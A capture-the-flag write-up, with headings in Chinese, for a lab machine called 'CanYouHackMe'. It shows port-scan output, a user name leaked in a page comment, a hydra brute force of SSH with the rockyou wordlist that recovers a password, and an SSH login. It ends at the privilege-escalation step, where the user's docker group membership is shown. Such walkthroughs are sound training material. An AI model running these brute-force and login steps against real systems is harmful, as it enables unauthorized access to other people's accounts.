┌──(root㉿kali)-[~] └─# rustscan -a 192.168.43.59 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- To scan or not to scan? That is the question.
[~] The config file is expected to be at "/root/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.43.59:22 Open 192.168.43.59:80 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.59 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-20 02:29 EDT NSE: Loaded 157 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 02:29 Completed NSE at 02:29, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 02:29 Completed NSE at 02:29, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 02:29 Completed NSE at 02:29, 0.00s elapsed Initiating ARP Ping Scan at 02:29 Scanning 192.168.43.59 [1 port] Completed ARP Ping Scan at 02:29, 0.03s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 02:29 Completed Parallel DNS resolution of 1 host. at 02:29, 0.03s elapsed DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 02:29 Scanning 192.168.43.59 [2 ports] Discovered open port 22/tcp on 192.168.43.59 Discovered open port 80/tcp on 192.168.43.59 Completed SYN Stealth Scan at 02:29, 0.02s elapsed (2 total ports) Initiating Service scan at 02:29 Scanning 2 services on 192.168.43.59 Completed Service scan at 02:29, 6.02s elapsed (2 services on 1 host) Initiating OS detection (try #1) against 192.168.43.59 NSE: Script scanning 192.168.43.59. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 02:29 Completed NSE at 02:29, 0.11s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 02:29 Completed NSE at 02:29, 0.01s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 02:29 Completed NSE at 02:29, 0.00s elapsed Nmap scan report for 192.168.43.59 Host is up, received arp-response (0.00054s latency). Scanned at 2026-04-20 02:29:13 EDT for 8s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 a8:da:3d:7d:c8:cd:c7:69:ce:ed:13:fa:de:b9:96:50 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOYwn1z/GpA7glO3HFARW5R+wPoveG7HFG3x4+A04DG4ccBfaci+xSV5Z7F9sLmencIVMNM5bD+Guaf5pO8xXl8= | 256 03:24:b9:cc:0b:c2:15:09:db:73:9b:b5:24:d5:41:ca (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHojKIXQ0kkVjCdfWe+hbzCQw7ynpMnUtyQKOxb3JR3P 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.58 |_http-title: Did not follow redirect to http://canyouhackme.thl | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.58 (Ubuntu) MAC Address: 08:00:27:6E:63:B9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4) TCP/IP fingerprint: OS:SCAN(V=7.95%E=4%D=4/20%OT=22%CT=%CU=36873%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=69E5C7C1%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10D%TI=Z%CI=Z%TS=A)O OS:PS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4S OS:T11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5 OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF= OS:N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40% OS:CD=S)
Uptime guess: 44.434 days (since Fri Mar 6 15:04:51 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=255 (Good luck!) IP ID Sequence Generation: All zeros Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.54 ms 192.168.43.59
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 02:29 Completed NSE at 02:29, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 02:29 Completed NSE at 02:29, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 02:29 Completed NSE at 02:29, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.73 seconds Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
写入hosts
1
192.168.43.59 canyouhackme.thl
信息泄露
在web页面的源码中有一段注释Hola juan, te he dejado un correo importate, cundo puedas, leelo
尝试爆破juan用户的凭证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(root㉿kali)-[~] └─# hydra -l juan -P /usr/share/wordlists/rockyou.txt ssh://192.168.43.59 -t 64 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-20 02:34:46 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task [DATA] attacking ssh://192.168.43.59:22/ [STATUS] 434.00 tries/min, 434 tries in 00:01h, 14344006 to do in 550:51h, 23 active [22][ssh] host: 192.168.43.59 login: juan password: matrix 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 19 final worker threads did not complete until end. [ERROR] 19 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-20 02:36:28
ssh登录到juan
1
ssh juan@192.168.43.59
提权
matrix -> root
1 2
juan@TheHackersLabs-CanYouHackMe:/opt$ id uid=1001(juan) gid=1001(juan) groups=1001(juan),100(users),1002(docker)
